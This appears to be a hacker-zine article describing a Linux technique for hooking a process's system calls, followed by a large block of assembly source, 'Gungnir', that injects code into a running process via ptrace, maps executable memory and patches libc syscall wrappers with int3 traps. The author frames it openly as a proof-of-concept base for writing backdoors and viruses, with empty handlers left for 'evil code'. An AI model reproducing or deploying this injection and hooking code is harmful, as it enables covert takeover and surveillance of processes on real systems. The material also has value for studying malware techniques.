Linux Per-Process Syscall Hooking
by Pluf
1. Introduction
2. Function wrapping
3. Signal handling
4. Syscall trapping
5. Limitations
6. Conclusion
7. References
A. Gungnir code
1. Introduction
This document describes a new syscall hooking technique for Linux systems and
exposes how it can be implemented as part of a virus or a backdoor in order to
take full control over an userland application. Although there are some well-
known methods for hooking functions, they are mostly based on the ELF format
itself. This technique is focused on thoses pieces of code that are externally
called by the main program and invoke a system call or system service.
A simple implementation of this hooking mechanism has been developed as a result
of the research and it is included with the article. This code provided does not
have all the features you wish but includes the required ones, is not a real
backdoor but a simple proof of concept, perfect to write your own one.
2. Function Wrapping
This section contains a brief description of the libc syscall wrapping
mechanism and how it works, if you have not ever heard of this or you need
for more information you should read the libc code and check the manual [3].
The GNU C library (glibc) provides a complete interface to request system
services through a set of functions called syscall wrappers. These functions
are used by userland programmers to execute syscalls and not be worried about
the inner mechanism of services invocation. Each system service has its own
wrapper code associated and is placed in the libc shared object.
The following is the disassembly of the mprotect() syscall wrapper:
53 push ebx
8b542410 mov edx, [esp+10h]
8b4c240c mov ecx, [esp+0ch]
8b5c2408 mov ebx, [esp+8]
b87d000000 mov eax, 7dh
cd80 int 80h
5b pop ebx
3d01f0ffff cmp eax, 0fffff001h
7301 jnc loc_b54ad
c3 ret
53 push ebx
e87efdf5ff call sub_15231
81c341eb0500 add ebx, offset_5eb41
31d2 xor edx, edx
29c2 sub edx, eax
52 push edx
e8cdfcf5ff call sub_15190
59 pop ecx
5b pop ebx
8908 mov [eax], ecx
83c8ff or eax, 0ffffffffh
ebe0 jmp loc_b54ac
90 nop
90 nop
90 nop
90 nop
This function contains lot of code that is not useful for us now, the most
significative code can be seen at the beginning. The first instructions are the
responsible for preparing and invoking the mprotect system call from userspace.
The parameters that it takes are all moved from the stack space into the
corresponding registers, then the service number is moved into eax and finally
the syscall is invoked by using one of the available "system service invocation
instruction" (traditionally, it has been the famous int80 instruction).
Although the code should be slightly different for each wrapper, they commonly
share the same pieces of code, where the most important ones are:
1) instructions to set the parameters:
8b542410 mov edx, [esp+10h]
8b4c240c mov ecx, [esp+0ch]
8b5c2408 mov ebx, [esp+8]
2) instruction to set the service number:
b87d000000 mov eax, 7dh
3) the system service invocation instruction:
cd80 int 80h
4) some kind of internal error handling:
5b pop ebx
3d01f0ffff cmp eax, 0fffff001h
7301 jnc loc_b54ad
If we have a look at the libc source code we can see an include file which
contains some macros in inline assembly, it does exactly the first two parts
of the above layout. The following macro defines a general instruction used to
execute a syscall:
# define INTERNAL_SYSCALL(name, err, nr, args...) \
({ \
register unsigned int resultvar; \
EXTRAVAR_##nr \
asm volatile ( \
LOADARGS_##nr \
"movl %1, %%eax\n\t" \
"int $0x80\n\t" \
RESTOREARGS_##nr \
: "=a" (resultvar) \
: "i" (__NR_##name) ASMFMT_##nr(args) : "memory", "cc"); \
(int) resultvar; })
And you can see the macro above in action in the following wrapper code:
gid_t
__getgid (void)
{
INTERNAL_SYSCALL_DECL (err);
#if __ASSUME_32BITUIDS > 0
INTERNAL_SYSCALL (getgid, err, 0);
#else
#ifdef __NR_getgid32
if (__libc_missing_32bit_uids <= 0)
{
int result;
result = INTERNAL_SYSCALL (getgid32, err, 0);
if (! INTERNAL_SYSCALL_ERROR_P (result, err)
|| INTERNAL_SYSCALL_ERRNO (result, err) != ENOSYS)
return result;
__libc_missing_32bit_uids = 1;
}
# endif /* __NR_getgid32 */
/* No error checking. */
return INTERNAL_SYSCALL (getgid, err, 0);
#endif
}
3. Signal Handling
This section will discuss what happens on userspace when a signal handler is
invoked and especially how the execution contexts are saved and restored. The
following is not a deep description of the Linux signal internals, only those
parts that are involved in our hooking method will be showed, if you need more
information check the kernel code.
A programmer can modify the behaviour of an application by simply changing the
default action taken by the process when a specific signal is delivered. When a
process receive a signal the kernel checks if exist a handler registered for it,
if it does, then the kernel executes the function "handle_signal" which
basically does the following three steps:
* save current context
* set handler context
* begin handler execution
The first step consists in saving the current execution context which comprises
the general purpose registers, among other things, at the point in which the
execution flow was interrupted by the signal. All this information is known as
"signal frame" or sigframe. This structure is used later by kernel in order to
restore the execution, so it is placed on the stack, just after the last push.
Sigframe Struct:
(fill in by the internal kernel function "setup_Frame")
struct sigframe
{
char __user *pretcode;
int sig;
struct sigcontext sc;
struct _fpstate fpstate;
unsigned long extramask[_NSIG_WORDS-1];
char retcode[8];
};
Where the most interesting fields are:
* pretcode: the restorer function address, called just after signal
handler returns. It is usually a pointer to a code that simply
makes a call to sigreturn():
restorer = &__kernel_sigreturn;
if (ka->sa.sa_flags & SA_RESTORER)
restorer = ka->sa.sa_restorer;
/* Set up to return from userspace. */
err |= __put_user(restorer, &frame->pretcode);
* sig: number of the delivered signal
* sc: a sigcontext structure that contains the value of all general purpose
registers when the program was interrupted:
struct sigcontext {
unsigned short gs, __gsh;
unsigned short fs, __fsh;
unsigned short es, __esh;
unsigned short ds, __dsh;
unsigned long edi;
unsigned long esi;
unsigned long ebp;
unsigned long esp;
unsigned long ebx;
unsigned long edx;
unsigned long ecx;
unsigned long eax;
unsigned long trapno;
unsigned long err;
unsigned long eip;
unsigned short cs, __csh;
unsigned long eflags;
This shows how the stack layout looks when a sigframe has been inserted
(handler prolog is not present yet):
esp esp
[ | sigframe | --- data ---- | ebp | eip | args ]
'---------------| |
| '---------------------'
| interrupted function
| frame
'- restorer
__kernel_sigreturn()
The second step consists in preparing the handler's context to be executed:
regs->esp = (unsigned long) frame;
regs->eip = (unsigned long) ka->sa.sa_handler;
regs->eax = (unsigned long) sig;
regs->edx = (unsigned long) 0;
regs->ecx = (unsigned long) 0;
set_fs(USER_DS);
regs->xds = __USER_DS;
regs->xes = __USER_DS;
regs->xss = __USER_DS;
regs->xcs = __USER_CS;
And finally, in the third step the execution flow came back from kernel space
and the handler is executed. Fortunately, the actions that it will do does not
affect the sigframe. Once it has finished the pretcode is loaded into eip
register and sigreturn() syscall restores the saved context.
4. Trapping syscalls
Once we have reviewed what a syscall wrapper is and what operations are involved
during a signal handling procedure we can proceed to explain the details of the
hooking mechanism.
Basically, a trapped syscall can be defined as an event notification mechanism,
used by a built-in userland syscall dispatcher. The idea is really quite
simple, just search a specific syscall wrapper and patch it with our hook, but
this hook is not the common "jmp/call" instruction which performs a flow control
transfer, but it is just a int3 instruction. As a result, each time a wrapper
code is accessed (from the main program or from a shared object) a sigtrap
signal is produced and delivered to the current process, it is catched by the
kernel and handled by an special sigtrap handler. This routine is responsible
for identifying the syscall requested and executing its associated callback
function.
Implement a syscall trapping mechanism is not really easy, it must be all coded
in assembly language because is the best way to work in the context of a runtime
process (portability problems). Also, the code should be as small as possible
(not always) and be able to performs, at least, all the following actions:
* copy itself into the target process avoiding ASLR and similar kernel
developer tricks
* to have at one's disposal a good length disassembler engine
* has symbol resolution and symbol hot-patching routines
* has a sigtrap handler capable of dispatching syscall requests
* optionally (but no less important) has some kind of internal error handling
in case of crash
In fact, as you can see, it is more like a virus but is not self-propagating.
The following sections will describe some of the above features included in the
code provided and the main actions that it performs to become a hidden system
service dispatcher.
4.1. Target Process Infection
First thing the code does is just copy itself into the target process and, to
achieve that, it uses the ptrace interface available on Linux, as well as on
many other UNIX systems. This task is performed by a small piece of code called
"injector".
When you have to write some code to the process's address space you have to face
some problems which, if not treated, can cause your backdoor and also the
infected program crash after detaching. The injector code must deal with it and
ensure the injected code is executed after the process is restarted.
*) blocking syscalls:
It is quite common to modify the EIP register to point to injected code so after
detaching it from target process it can be run, this way of doing the injection
may generates problems when the previously instruction (which ptrace interrupted
) corresponds to a blocking syscall like read(),write(),etc. So if EIP is
changed, the kernel will continues the execution at this point skipping over the
syscall.
One way to solve this is to inject two pieces of code: the first one is placed
at EIP (starter) and the second one is placed into the stack (main code). Due to
the fact that the EIP register is not changed, kernel continues the execution of
the blocking syscall and when it finished the starter cames into play. The only
thing the starter must do is move the second code to a memory mapped area and
run it.
*) VDSO and vsyscall:
If you take a look to the objects loaded into the address space of any process
of your Linux system, you can see a segment called "[vdso]", it is the
"dynamically linked shared object". This object is loaded by the kernel and
contains three functions: __kernel_vsyscall(), __kernel_sigreturn() and
__kernel_rt_sigreturn(). The most important one for us is the vsyscall().
This function has the code to enter into kernel mode and there are two different
versions: int version and sysenter version. for more information about VDSO
check [6].
The problem here is that the latest kernels does not allow us to modify the code
of the VDSO segment, so we can not write the starter code into the vsyscall.
Once again there is a way to solve this new problem and it consist in searching
for the return address to the caller function:
( wrapper code )
mov %ebx,%edx
mov 0x8(%esp),%ecx
mov 0x4(%esp),%ebx
( vsyscall ) mov $0x27,%eax ( vsyscall )
int 0x80 <---- call *%gs:0x10 ----> push %ecx
ret ,----> [ the starter code ] push %edx
| | [ is placed here ] push %ebp
'-->----| mov %esp,%ebp
| sysenter
| nop x7
| jmp 0xffffe403
| pop %ebp
| pop %edx
| pop %ecx
'----<---------------------- ret
*) VDSO analyzer:
The VDSO analyzer is just a set of small functions coded to help the code
provided to perform a runtime identification of that segment and get information
about their symbols:
VDSOHandle *VDSOLoad(DWORD pid, DWORD base)
VOID VDSOUnload(VDSOHandle *)
VDSOSym *VDSOGetSym(VDSOHandle *, DWORD SymId)
DWORD VDSOGetRet(VDSOHandle *, DWORD EIP, DWORD ESP)
4.2. Symbol resolution
Once the code has been injected the next step is to locate the syscall wrappers
to be hijacked. As was described in section 2, they are all part of the libc
shared object, so at this point some kind of built-in symbol resolver is
required.
*) shared object symbol resolver:
The symbol resolution is the most tedious process but the most funny as well.
Although exists some heuristics tricks to get the address of a shared object
symbol, only one is both reliable and faster: elf hash table. The description
of this generic mechanism is beyond the scope of this text, for more details
check out [3]. The code provided contains a function to deal with this task:
the shared object symbol resolver.
VOID sosr(sosr *)
sosr_flags equ 00h ; DWORD : options
sosr_hash_table equ 04h ; PVOID : symbol hash table
sosr_va_table equ 08h ; PVOID ; symbol address table
sosr_sym_count equ 0Ch ; DWORD : num of symbols to be resolved
sosr_base equ 10h ; DWORD : shared object base address
sosr_dynamic equ 14h ; DWORD : dynamic section address
sosr_map_names equ 18h ; PVOID : map name list (gsoinf_by_maps)
sosr_lkm_names equ 1Ch ; PVOID : lkm name list (gsoinf_by_lkm)
The first thing the resolver does is to locate the base address of the shared
object, just only two methods to achieve this can be seriously considered: ld's
link_map structure and/or process maps file. The sosr() function take advantage
of both methods. The famous link_map list is a double linked list in which each
node describes a shared object that was loaded into the process address space.
The base address for each object is placed into this structure by the runtime
loader.
*) mapfile reader:
The Linux kernel maintains a maps file per process, commonly placed at /proc/PID
/maps, which describes all the memory mapped areas within the process. The
mapfile reader (mpfr) has been developed to cover this area, providing functions
to access the content of this file:
DWORD mpfr_open(mpfr *)
VOID mpfr_close(mpfr *)
mapent *mpfr_search_by_vaddr(mpfr *mpfr, DWORD vaddr)
mapent *mpfr_search_by_name(mpfr *mpfr, LPCSTR *name, DWORD size)
mapent *mpfr_search_by_names(mpfr *mpfr, PVOID *names)
mapent *mpfr_get_vdso(mpfr *mpfr)
mapent *mpfr_get_stack(mpfr *mpfr)
The mpfr_open() routine opens the process' mapfile and build a linked list of
map entries, so you can go through this list in order to get the segment you are
searching for (the mpfr_search* and mpfr_get* routines).
The following is the content of a map entry:
mapent_start equ 00h ; DWORD : beginning of segment
mapent_end equ 04h ; DWORD : ending of segment
mapent_size equ 08h ; DWORD : segment size
mapent_flags equ 0Ch ; DWORD : segment type and options
mapent_name equ 10h ; LPSTR : segment name (shared objects only)
mapent_namesz equ 14h ; DWORD : segment name size
mapent_next equ 18h ; PMAPENT : next entry
If you take a look to the code you will note that the mapfile reader is largely
used throughout the code, this is because it should never fail and uses a system
resource that is supposed to be always present. In fact, is the most stable
method I have found so far.
*) the magic table:
The magic table is just a big data structure which contains information about
the syscall wrappers. Each symbol has its own entry and it is 5byte long and has
the following format:
0-1b = magic code
1-5b = magic value
The first byte is the magic code and the value stored in it is the system call
number for the syscall wrapper referenced.
The following 4 bytes is the magic value, which is just a dword that take the
following values:
1) a symbol name hash value
2) a Elf32_Sym struct pointer
3) a symbol code pointer
4) a syscall sub-handler pointer
Essentially, when the code start, the magic value is the symbol name hash, then
, when sosr() is executed, this value is changed by a pointer to the
corresponding Elf32_Sym structure within the .dynsym section. And finally, just
a bit before the infected process is restarted, its content is changed again to
hold a pointer to a syscall handler code.
4.3 Setting Up Hooks
When the resolution process has finished and we know exactly where are placed
the wrappers, is time to insert the hooks.
*) system service invocation instruction:
As was described in section 2, a syscall wrapper is just a simple routine used
by application programmers to request a system service. This request is performe
d by executing a SSII (system service invocation instruction), so if we can
control when these instructions are executed (being replaced by a hook code) it
is possible to build a sort of pre-request and post-request layer in which each
syscall is handled by an associated handler code.
The most famous SSII is the "int 80" instruction that has been used in linux
since the earlier versions. Most recently releases of Linux kernel has
introduced support to the new sysenter/sysexit instruction which allows faster
user to kernel transitions. The VDSO segment has been introduced to facilitate
the work of the libc, it has not to be worried about which SSII is used in the
system, each wrapper have just only call the vsyscall() function.
The code provided has support for all of this.
*) runtime code disassembling:
To proceed with the location of SSII's the whole symbol code must be
disassembled on runtime, so a good lde is required. The best length
disassembler engine you can find for free (saving you to code your own) is
ADE,the Z0mbie's LDE. With this lde you can disassemble fast and is ok for our
purpose. I've changed some bytes of the code to support int80 instructions.
Initialize the table is as easy as follows:
push dword[ebp+ade_flagtable-gdelta]
call ade_init ; initialize tables for ade
pop eax
the same for disassembling:
; ade_disasm params:
push dword[ebp+ade_flagtable-gdelta] ; p3: flagtable address
push dword[ebp+ade_dstruct-gdelta] ; p2: disasm struct address
push esi ; p1: code address
call ade_disasm
*) symbol hot-patching:
When a SSII is found within the wrapper's body, it needs to be completely
replaced without modifying any previous and following instruction. The
searching process is done with help of ADE and the patching is performed with
the following chunk of code:
.patch movzx ecx,byte[ebx+ssii_contentsz]
sub esi,ecx
mov cl,byte[ebx+ssii_size]
xchg edi,esi
.write_trap: push byte _trap
pop eax
stosb
push byte _nop
pop eax
dec ecx
.write_nop: stosb
loop .write_nop
As you can see, first instruction's byte is changed by a int3, filling the rest
with nops. The following code snipped is an example of patched chroot() wrapper:
pre-patch post-patch
--------- ----------
0xb7ecf000 mov %ebx,%edx : mov %ebx,%edx
0xb7ecf002 mov 0x4(%esp),%ebx : mov 0x4(%esp),%ebx
0xb7ecf006 mov $0x3d,%eax : mov $0x3d,%eax
0xb7ecf00b int $0x80 : int3
: nop
0xb7ecf00d mov %edx,%ebx : mov %edx,%ebx
pre-patch post-patch
--------- ----------
0xb7ecf000 mov %ebx,%edx : mov %ebx,%edx
0xb7ecf002 mov 0x4(%esp),%ebx : mov 0x4(%esp),%ebx
0xb7ecf006 mov $0x3d,%eax : mov $0x3d,%eax
0xb7ecf00b call *%gs:0x10 : int3
: nop x6
0xb7ecf012 mov %edx,%ebx : mov %edx,%ebx
4.4. Syscall Dispatching
This is the last step and the most important one, at this point the hooks has
been inserted, so we must prepare the "Trapped Syscall Dispatcher" (TSD).
The TSD is the default sigtrap signal handler, so it will handle any sigtrap
(syscall request) generated by the hooks. The setup_tsd() function is
responsible for installing, configuring and testing the TSD.
*) registering the TSD:
The TSD must be registered as the default SIGTRAP handler for the running
process. To do that we use the sigaction interface as follows:
set_traphndl: xchg ecx,edx
lea eax, [ebp+tsd-gdelta]
push eax
push byte sc_sigaction
pop eax
int 80h
add esp,(4*_push)
call [ebp+cer2-gdelta]
Under some circumstances, an infected application could replace our TSD code by
an internal sigtrap handler. In order to avoid this problem the sigaction
interface should be hooked as well to not allow this operation.
*) registering the TSD sub-handlers
The TSD sub-handlers are just a set of functions associated to the system calls,
the most basic sub-handler is as follows:
_schndl_fork: ; fork syscall handler:
.link: mov ebx,sc_fork
cmp eax,ebx
jne _schndl_read
call edx
.body: call def_schndl
ret
All the TSD sub-handlers provided in the code are empty, except one (a basic
example). These functions are the place where you can put your favourite evil
code, each time the syscall is executed all of its parameters are available to
be inspected or whatever you want to do.
The registration of the TSD sub-handlers is performed by the following chunk of
code:
.install_sch: ; install syscall handlers
mov ecx,[ebp+(magic_table+magic_entnum)-gdelta]
lea esi,[ebp+(magic_table+magic_entry)-gdelta]
mov edi,esi
.next: xor eax,eax
lodsb
stosb
call schndl_lookup
stosd
lodsd
loop .next
*) configuring the TSD
The TSD behaviour is configured by enabling (default) or disabling the HEP, It
means "handler execution prevention" and when it is enabled the TSD only handle
those syscall requests within the libc text segment.
*) testing the TSD
Test if the TSD works if quite simple, just generate a SIGTRAP by executing an
int3 instruction and perform some sanity checks when the TSD is executed and
when it has restored the context. The following chunk of code performs the test:
xor ecx,ecx
mov dword[ebp+hep-gdelta],ecx
mov eax,ecx
inc ecx
mov ebx,ecx
inc ecx
mov edx,ecx
inc edx
mov dword[ebp+pid-gdelta],eax
int3 ; ---< internal trap >----------:
push byte sc_getpid
pop eax
int 80h
mov esi,eax
cmp eax,dword[ebp+pid-gdelta]
je .enable_HEP
call [ebp+sdr-gdelta]
7. Limitations
The code provided is just a proof of concept demonstration, so it has some
limitations and restrictions. In first place, only intercepts syscalls executed
from wrappers functions and any request made from a different place within the
process's virtual address space may result in a bypass of the TSD, system calls
are out of our control and are passed directly to kernel. In second place, the
code is not "thread-safe", it means that the TSD has no support to handle
multiple threads, so the behaviour of a multithreading process once it has been
infected is totally unpredictable. For instance, if the thread we have infected
has not set CLONE_SIGHAND flag when it was created by a call to clone() it will
not share the table of signal handlers and, as a result, only that thread will
be able to handle our hooks whereas the rest surely will crash. Finally, the
code assume that the user has process trace capabilities and is allowed to use
ptrace() interface.
6. Conclusion
Write backdoors or viruses for Linux is always difficult, the code must run on
different kernel versions, and not only the kernel but also other critical
components like libraries can be updated, turning each target system different
each other. The technique showed in this paper allows taking advantage of some
system calls and how to use them to carry out actions that they weren't designed
for. There are some other interesting components to be researched in order to
improve our "black code".
7. References
[1] 29A: viri & asm masters
http://vx.netlux.org/29a/
[2] Rootkit.com: rkit masters
http://www.rootkit.com
[3] Linux Kernel
http://www.kernel.org/
[4] The GNU C Library
http://www.gnu.org/software/libc/manual/
[5] More ELF buggery - the grugq
http://seclists.org/bugtraq/2002/May/0249.html
[6] What is linux-gate.so.1? - Johan Petersson
http://www.trilithium.com/johan/2005/08/linux-gate/
A. Gungnir code:
;
; Linux Per-Process Syscall Hooking Implementation (Gungnir)
; (C) by Pluf <pluf@7a69ezine.org>
; Spain/2006
;
; compile:
; nasm -f elf gungnir.asm && gcc gungnir.o -nostartfiles
BITS 32
[section .text]
global _start:
; options:
;%define CRYPT
%define DBG
;%define TEST_SDR
; basic typedefs:
_dword equ 04h
_word equ 02h
_byte equ 01h
; stack offsets:
_push equ _dword
_ret equ _dword
_pushfd equ _dword
_pushad equ 8*_push
_pushad_eax equ 7*_push
_pushad_ecx equ 6*_push
_pushad_edx equ 5*_push
_pushad_ebx equ 4*_push
_pushad_esp equ 3*_push
_pushad_ebp equ 2*_push
_pushad_esi equ 1*_push
_pushad_edi equ 0*_push
; procedure params:
_pparams equ _pushad+_ret
_pparam1 equ _pushad+_ret+00h
_pparam2 equ _pushad+_ret+04h
_pparam3 equ _pushad+_ret+08h
_pparam4 equ _pushad+_ret+0Ch
; sigframe struct:
sigfrm_ret equ 0*4
sigfrm_sig equ 4*1
sigfrm_ctx_gs equ 2*_push
sigfrm_ctx_fs equ 3*_push
sigfrm_ctx_es equ 4*_push
sigfrm_ctx_ds equ 5*_push
sigfrm_ctx_edi equ 6*_push
sigfrm_ctx_esi equ 7*_push
sigfrm_ctx_esp equ 8*_push
sigfrm_ctx_ebp equ 9*_push
sigfrm_ctx_ebx equ 10*_push
sigfrm_ctx_edx equ 11*_push
sigfrm_ctx_ecx equ 12*_push
sigfrm_ctx_eax equ 13*_push
sigfrm_ctx_eip equ 16*_push
; link_map struct:
link_map_base equ 00h
link_map_name equ 04h
link_map_dyn equ 08h
link_map_next equ 0Ch
; sigaction struct:
sigact_handler equ 00h
sigact_mask equ 04h
sigact_flags equ 08h
sigact_restorer equ 0Ch
; signals:
sigtrap equ 05h
sigsegv equ 0Bh
rt_signal equ 32+3+20
; elf offsets/values:
elf_hdr_entry equ 18h
elf_hdr_phnum equ 2Ch
elf_hdr_phoff equ 1Ch
elf_phdr_vaddr equ 08h
elf_phdr_memsz equ 14h
elf_phdr_entsize equ 20h
elf_phdr_type_load equ 01h
elf_phdr_type_dynamic equ 02h
elf_dyn_dtag equ 00h
elf_dyn_dval equ 04h
elf_dyn_entsize equ 08h
elf_dyn_tag_pltgot equ 03h
elf_sym_value equ 04h
elf_sym_size equ 08h
elf_image_base equ 08048000h
elf_magic equ 7F454C46h
; ptrace requests:
ptrace_req_attach equ 16
ptrace_req_detach equ 17
ptrace_req_getregs equ 12
ptrace_req_setregs equ 13
ptrace_req_poke equ 4
ptrace_req_peek equ 1
; pt_regs struct:
ptregs equ (17*_push)
ptregs_eip equ (12*_push)
ptregs_esp equ (15*_push)
; instr opcodes:
_nop equ 090h
_trap equ 0CCh
_retinst equ 0C3h
; system call numbers:
sc_exit equ 001h
sc_fork equ 002h
sc_read equ 003h
sc_write equ 004h
sc_open equ 005h
sc_close equ 006h
sc_waitpid equ 007h
sc_execve equ 00Bh
sc_lseek equ 013h
sc_getpid equ 014h
sc_mount equ 015h
sc_umount equ 016h
sc_ptrace equ 01Ah
sc_mkdir equ 027h
sc_rmdir equ 028h
sc_chroot equ 03Dh
sc_sigaction equ 043h
sc_reboot equ 058h
sc_mmap equ 05Ah
sc_munmap equ 05Bh
sc_clone equ 078h
sc_uname equ 07Ah
sc_mprotect equ 07Dh
sc_create_module equ 07Fh
sc_init_module equ 080h
sc_delete_module equ 081h
sc_query_module equ 0A7h
; magic table offsets:
magic_entnum equ 000h
magic_entry equ 004h
magic_code equ 000h
magic_address equ 001h
magic_entsize equ 005h
magic_badentry equ 0FFh
; ssii entry offsets:
ssii_next equ 000h
ssii_size equ 001h
ssii_contentsz equ 002h
ssii_content equ 003h
nxsf equ 0DEADBEEFh
blksz equ 1000h
fmated_stringsz equ 40
context_size equ 10*4 ; ten dword
; external functions:
extern atoi
extern printf
_start: ; get argument from shell (pid) "usage: ./gungnir pid"
pop eax ; argc
dec eax ; exec name
jnz .get_pid ; no args, usage!!
call .usage
db "%s <pid>",0Ah,00h
.usage: call printf
call _exit
.get_pid: pop ebx
call atoi
xchg esi,eax ; esi = pid
injector: ;----[ injector routine ]---------------: Inject the code into the target process
; (use ptrace interface)
call getDelta ; get delta offset
xor eax,eax
cdq
unprotect: push dword blksz ; blksz = 4096
push eax ; block list = 0
push eax ; maps count = 0
lea edx,[ebp+self_maps-gdelta]
push edx ; map file path
push eax ; first entry = 0
mov ebx,esp
push ebx ; *mpfr
call mpfr_open ; create mpfr for current process
lea ecx,[ebp+unprotect-gdelta] ; get the map entry which
push ecx ; describes this segment
push ebx
call mpfr_search_by_vaddr
push 7h ; unprotect text segment
pop edx
mov ecx,[eax+mapent_size]
mov ebx,[eax+mapent_start]
push byte sc_mprotect
pop eax
int 80h
call injerr
add esp,(2*_push)
pop edx ; *mpfr
lea ecx,[ebp+maps-gdelta] ; maps pointer is used by sosr(),
mov dword[ecx],esp ; points to the curret mpfr
push sosr_flag_twotbl
lea ebx,[ebp+func_vatbl-gdelta]
push ebx
lea ebx,[ebp+func_hashtbl-gdelta]
push ebx
call rslv_libcsyms ; resolve some libc symbols
lea ebx,[ebp+sosr_struct-gdelta] ; clean base and dynamic
mov [ebx+sosr_base],eax ; fields of sosr struct
mov [ebx+sosr_dynamic],eax
push edx
call mpfr_close ; free the current mpfr
add esp,(9*_push)
get_tpmaps: sub esp,fmated_stringsz ; get space enough to hold the
mov eax,esp ; formated string
push esi ; pid (argv[1])
lea ebx,[ebp+pid_maps-gdelta]
push ebx ; format string
push eax ; buffer
call [ebp+va_sprintf-gdelta]
lea ecx,[ebp+mpfr_struct-gdelta]
mov dword[ecx+mpfr_blk_size],blksz
pop dword[ecx+mpfr_path] ; path
push ecx ; *mpfr
call mpfr_open ; create mpfr for the target process
add esp,byte(3*_push) ; restore stack
attach: xchg ecx,esi ; attach to the target process
push byte ptrace_req_attach ; ecx = pid
pop ebx
push byte sc_ptrace
pop eax
int 80h
call injerr
waitpid: cdq ; wait for child to stop
xchg ebx,ecx
xchg ecx,eax
push byte sc_waitpid
pop eax
int 80h ; ret eax = pid
getregs: sub esp,byte ptregs ; get registers
mov esi,esp
xchg ebx,ecx
mov bl,byte ptrace_req_getregs
push byte sc_ptrace
pop eax
int 80h
call injerr
get_eip: mov edx,[esp+ptregs_eip] ; get and save orig EIP
mov dword[ebp+inj_orig_eip-gdelta],edx
push edx
lea eax,[ebp+mpfr_struct-gdelta]
push eax
call mpfr_search_by_vaddr ; get map entry which EIP points to
add esp,(2*_push)
test eax,eax
je .seg_notfound ; eax = 0, map not found
test byte[eax+mapent_flags],byte stype_vdso ; check if EIP points to VDSO
je .check_eip ; not points to VDSO, we can inject the code directly
xchg edi,eax ; ebx = mapent
push dword[edi+mapent_start] ; base
push ecx ; pid
call VDSOLoad ; get information about VDSO
add esp,(2*_push)
push dword[esp+ptregs_esp] ; esp
push edx ; eip
push eax ; *VDSOHandle
call VDSOGetRet ; get address to inject the starter
add esp,(3*_push)
xchg edx,eax ; set and save new eip
mov dword[ebp+inj_orig_eip-gdelta],edx
xchg eax,edi
.check_eip: mov edi,[eax+mapent_end] ; checks if there is space enugh
sub edi,edx ; to store the "starter" code
cmp edi,[ebp+starter_sz-gdelta] ; between EIP and the end of the
jae save_host_code ; segment
.seg_notfound: call _exit
save_host_code: mov edi,[ebp+starter_sz-gdelta] ; save host_code, this small chunck of code
lea esi,[ebp+host_code-gdelta] ; of the target process will be replaced
mov bl,byte ptrace_req_peek ; by the "starter" routine
.read_dword: push byte sc_ptrace
pop eax
int 80h
call injerr
lodsd
add edx,byte 4
sub edi,byte 4
jne .read_dword
mov edx,[ebp+inj_orig_eip-gdelta] ; eip
xchg esi,ecx ; esi = pid
get_esp: mov eax,[esp+ptregs_esp] ; get and save orig esp
mov dword[ebp+inj_orig_esp-gdelta],eax
sub eax,dword[ebp+stack_padd-gdelta]; get enough space into the stack
push eax ; to inject the main code
.set_starterGD: add eax, byte (gdelta-schooker) ; point exactly to gdelta label of the schooker routine
mov dword[ebp+starter_GD-gdelta],eax ; it is used to access and modify schooker's data
lea edi,[ebp+starter-gdelta] ; init of starter
.check_esp: lea eax,[ebp+mpfr_struct-gdelta]
push eax ; *mpfr
call mpfr_search_by_vaddr ; get map entry which "esp" points to
pop ecx
test eax,eax
je .seg_notfound ; eax = 0, map not found
pop ecx
cmp ecx,[eax+mapent_start] ; check if there is enough space to
push ecx ; store the main code into the stack
jge inject_starter
.seg_notfound: call _exit
inject_starter: mov ebp,[ebp+starter_sz-gdelta] ; inject starter routine
mov ecx,esi
mov bl,byte ptrace_req_poke ; bl = 4
.write_dword: mov esi,dword[edi]
push byte sc_ptrace
pop eax
int 80h
call injerr
add edi,ebx
add edx,ebx
sub ebp,ebx
jne .write_dword
inject_schker: pop edx ; inject schooker routine
mov edi,schooker
mov bl,byte ptrace_req_poke ; bl = 4
.write_dword: mov esi,dword[edi]
push byte sc_ptrace
pop eax
int 80h
call injerr
add edi,ebx
add edx,ebx
cmp edi,fini
jbe .write_dword
detach: cdq
mov esi,edx ; detaches from the process
mov bl, byte ptrace_req_detach
push byte sc_ptrace
pop eax
int 80h
call injerr
_exit: xor eax,eax ; exit(0)
mov ebx,eax
inc eax
int 80h
injerr: test eax,eax
js _exit
ret
starter: ;---[ starter routine ]-----------------:
.savectx push eax
pushad
pushfd
mov ebp,12345678h ; delta offset of schooker into stack
starter_GD equ $-4
mov dword[ebp+orig_esp-gdelta],esp ; save current esp
mov eax,[ebp+inj_orig_eip-gdelta] ; set orig ret address
mov dword[esp+_pushfd+_pushad],eax
push byte context_size ; save context data: pushad+pushfd+push
pop ecx
mov esi,esp
lea edi,[ebp+context-gdelta]
rep movsb
.alloc_room: mov ecx,dword[ebp+room_size-gdelta] ; map a memory area
xor eax,eax
cdq
push eax
dec eax
push eax
push byte 22h ; anon|private
push byte 7 ; read|write|exec
push ecx ; size
push edx
mov ebx,esp
push byte sc_mmap
pop eax
int 80h
add esp,(6*_push)
dec edx
cmp eax,edx
je .restctx ; mmap fails, restore previous context
.move_code: inc edx
mov dword[ebp+code_address-gdelta],eax ; save address of the mapped area
lea ebx,[eax+setup-schooker] ; set new entrypoint
lea esi,[ebp+schooker-gdelta]
push esi
mov ecx,(fini-schooker)
push ecx
mov edi,eax ; eax = destination
rep movsb ; move code
pop ecx
pop edi
xor al,al
rep stosb ; delete first copy of the code
._start: call ebx ; jump to entrypoint (schooker)
.restctx: popfd ; in case of error restore
popad ; context previously saved
ret ; and continue execution
schooker: ;---[ schooker routine ]----------------:
getDelta: call _gdelta ; code to get delta offset
gdelta: db 0CCh
_gdelta: pop ebp
ret
setup: call getDelta
%ifdef DBG
pushad
call open_logfile ; open logfile
lea ecx,[ebp+dbug_msg1-gdelta]
call write_logfile
popad
%endif
.unprotect: lea ecx,[ebp+mpfr_struct-gdelta]
mov dword [ecx+mpfr_blk_size],blksz
lea ebx,[ebp+self_maps-gdelta]
mov dword [ecx+mpfr_path],ebx ; set block size & mapfile path
push ecx ; *mpfr
call mpfr_open ; create mpfr for current processa
mov edi,dword[ebp+inj_orig_eip-gdelta]
push edi ; host_code address (eip)
push ecx ; *mpfr
call mpfr_search_by_vaddr ; get map entry which originally
add esp,(3*_push) ; have contained host code
mov ebx,[eax+mapent_start] ; unprotect this entry
mov ecx,[eax+mapent_size]
push byte 7h
pop edx
push byte sc_mprotect
pop eax
int 80h
.rest_hostcode: mov ecx,[ebp+starter_sz-gdelta] ; restore the host code that was
lea esi,[ebp+host_code-gdelta] ; replaced by our starter code
rep movsb ; esi= host code, edi= inj_orig_eip
